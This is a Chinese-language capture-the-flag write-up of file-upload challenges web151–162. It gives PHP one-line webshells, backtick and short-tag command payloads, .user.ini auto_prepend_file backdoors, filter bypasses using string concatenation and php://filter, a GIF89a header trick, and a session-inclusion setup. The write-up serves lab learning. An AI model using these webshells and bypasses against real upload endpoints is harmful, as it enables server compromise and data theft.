文件上传
南神博客:https://www.wlhhlc.top/posts/14827/
文件上传
web151
前台校验不可靠
题目给的是上传图片,结合前端猜测先传图片然后bp抓包的时候改成php
<?php @eval($_POST['mumuzi']);?>
提示上传接口出现异常,我以为是我的问题,但是重启一个靶场就正常了
。。。。。
POST:mumuzi=system('tac ../flag.php');
web152
后端不能单一校验,还是之前的
他这里应该是指Content-Type的检测
web153
后端不能单一校验,后端校验要严密
这一次再传php就拦截下来了,这里开始可以用.user.ini
来构造后门(怎么感觉之前做过)
php.ini是php的一个全局配置文件,对整个web服务起作用;而.user.ini和.htaccess一样是目录的配置文件,.user.ini就是用户自定义的一个php.ini,我们可以利用这个文件来构造后门和隐藏后门。.htaccess是Apache的,.user.ini是Nginx的
auto_prepend_file=filename //包含在文件头
auto_append_file=filename //包含在文件尾
这里传一个.user.ini
里面内容写auto_prepend_file=mumuzi.png
然后上传一个png图片,包含木马
然后利用文件包含getshell
然后访问/upload/,一句话连接即可
web154
后端不能单二校验 宁就不能白名单吗
继续.user.ini呢?
在传mumuzi.png的时候报错了
可能是马的问题,这次使用短标签试试
发现还是不行,然后把flag.php改成了flag.*
原来是过滤了php
<?=system("tac ../flag.*");?>
接着直接访问/upload即可
web155
后端不能单三校验 后端校验要严密
继续试试.user.ini
然后传mumuzi.png
成功,然后访问url/upload/即可
web156
方法不变,同web154 155
web157
.user.ini正常上传了,但是在传mumuzi.png的时候出错
看来又过滤了什么不知名的东西,测试删掉system报错,tac报错,然后发现是分号的问题。这里使用反引号(相当于shell_exec() )
<?=`tac ../f*`?>
然后访问/upload即可
(后来发现短标签可以不要分号啊,结果这个payload连着打了几题)
web158
上传.user.ini成功
上传web157的mumuzi.png成功
访问/upload/即可
web159
上传.user.ini成功
上传web157的mumuzi.png成功
访问/upload/即可
web160
上传.user.ini成功
上传mumuzi.png失败了。焯,这道题.user.ini没问题的话说明思路没错,因此能猜到的是又多过滤了什么奇怪的东西
经过测试,发现空格和反引号都被过滤了,如图,删掉反引号和空格就能成功上传
于是用伪协议来读取flag(不要忘了过滤了php)
<?=include"ph"."p://filter/convert.base64-encode/resource=../flag.p"."hp"?>
这里"."是拼接,开头结尾的""是作为include的参数
web161
狮虎们轻点,嘤嘤嘤
寄
一张正常的图片都不让我传。。。。。
多次操作无果之后去看wp结果wp说就在内容前面加个GIF89a。。。那不就是加个图片的头来骗检测吗为什么我还是不行啊
然后我重启环境之后发现可以了。。。。。。。。。。。。。。
web162
焯,用不来了,看WP了,晚安
这里在内容里面过滤了 . 这里要用到session包含,知识点可以看web82
首先上传一个.user.ini
GIF89a
auto_prepend_file=/tmp/sess_muma
然后用session竞争的脚本